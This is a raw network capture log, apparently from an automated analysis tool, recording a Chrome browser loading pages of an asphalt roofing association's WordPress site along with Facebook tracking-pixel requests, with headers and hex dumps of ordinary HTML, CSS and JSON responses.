2024-04-23 14:54:24 UTC	704	OUT	GET /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
2024-04-23 14:54:24 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:24 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:24 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.6	50091	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:24 UTC	1222	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&rl=&if=false&ts=1713884062997&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884062988&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:24 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=104, rtx=0, c=10, mss=1277, tbw=3403, tp=-1, tpl=-1, uplat=1, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:24 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.6	50090	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:24 UTC	1332	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&rl=&if=false&ts=1713884062997&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884062988&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: trigger;navigation-source, event-source Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:24 UTC	948	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:24 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:24 UTC	1579	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch
2024-04-23 14:54:24 UTC	70	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 Data Ascii: 43PNGIHDRIDATxc-IENDB`
2024-04-23 14:54:24 UTC	8	IN	Data Raw: 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.6	50096	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:24 UTC	932	OUT	GET /security.js?v=1713884062447 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/security.js?v=1713884062447 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z If-None-Match: "4506e-5c6-5ddcbf6119400" If-Modified-Since: Fri, 29 Apr 2022 14:36:00 GMT
2024-04-23 14:54:25 UTC	478	IN	HTTP/1.1 304 Not Modified Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:24 GMT Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.6	50097	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:24 UTC	980	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&rl=&if=false&ts=1713884062997&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884062988&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:25 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=118, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:25 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.6	50098	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:24 UTC	1017	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&rl=&if=false&ts=1713884062997&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884062988&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:25 UTC	900	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:25 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:25 UTC	1609	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.6	50099	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:25 UTC	992	OUT	GET /guide-for-homeowners/ HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
2024-04-23 14:54:27 UTC	617	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/", <https://www.asphaltroofing.org/wp-json/wp/v2/pages/126>; rel="alternate"; type="application/json", <https://www.asphaltroofing.org/?p=126>; rel=shortlink Vary: Accept-Encoding X-Sucuri-Cache: EXPIRED
2024-04-23 14:54:27 UTC	7575	IN	Data Raw: 33 64 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c 21 Data Ascii: 3d8<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!
2024-04-23 14:54:27 UTC	8192	IN	Data Raw: 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 64 65 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4d 65 6e 6c 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 6d 6f 6e 61 63 6f 2c 6d 6f 6e 6f 73 70 61 63 65 3b 70 61 64 64 69 6e 67 3a 2e 38 65 6d 20 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 65 6d 62 65 64 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 Data Ascii: gn:center}.is-dark-theme .wp-block-audio figcaption{color:hsla(0,0%,100%,.65)}.wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em}.wp-block-embed figcaption{color:#555;font-size:13px;text-ali
2024-04-23 14:54:27 UTC	8192	IN	Data Raw: 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 62 6c 61 63 6b 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 77 68 69 74 65 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 Data Ascii: reset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{borde
2024-04-23 14:54:27 UTC	8192	IN	Data Raw: 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 75 2d 64 65 73 69 67 6e 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 72 6f 6e 74 65 6e 64 2f 6c 61 79 6f 75 74 2f 69 65 2d 61 6c 6c 2e 63 73 73 3f 76 65 72 3d 33 2e 33 2e 38 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 73 63 72 65 65 6e 27 20 2f 3e 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 61 62 6c 65 70 72 65 73 73 2d 64 65 66 61 75 6c 74 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 61 62 6c 65 70 72 65 73 73 2d 63 6f 6d 62 69 6e 65 64 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 Data Ascii: /wp-content/themes/u-design/assets/css/frontend/layout/ie-all.css?ver=3.3.8' type='text/css' media='screen' /><![endif]--><link rel='stylesheet' id='tablepress-default-css' href='https://www.asphaltroofing.org/wp-content/tablepress-combined.min.css?ver
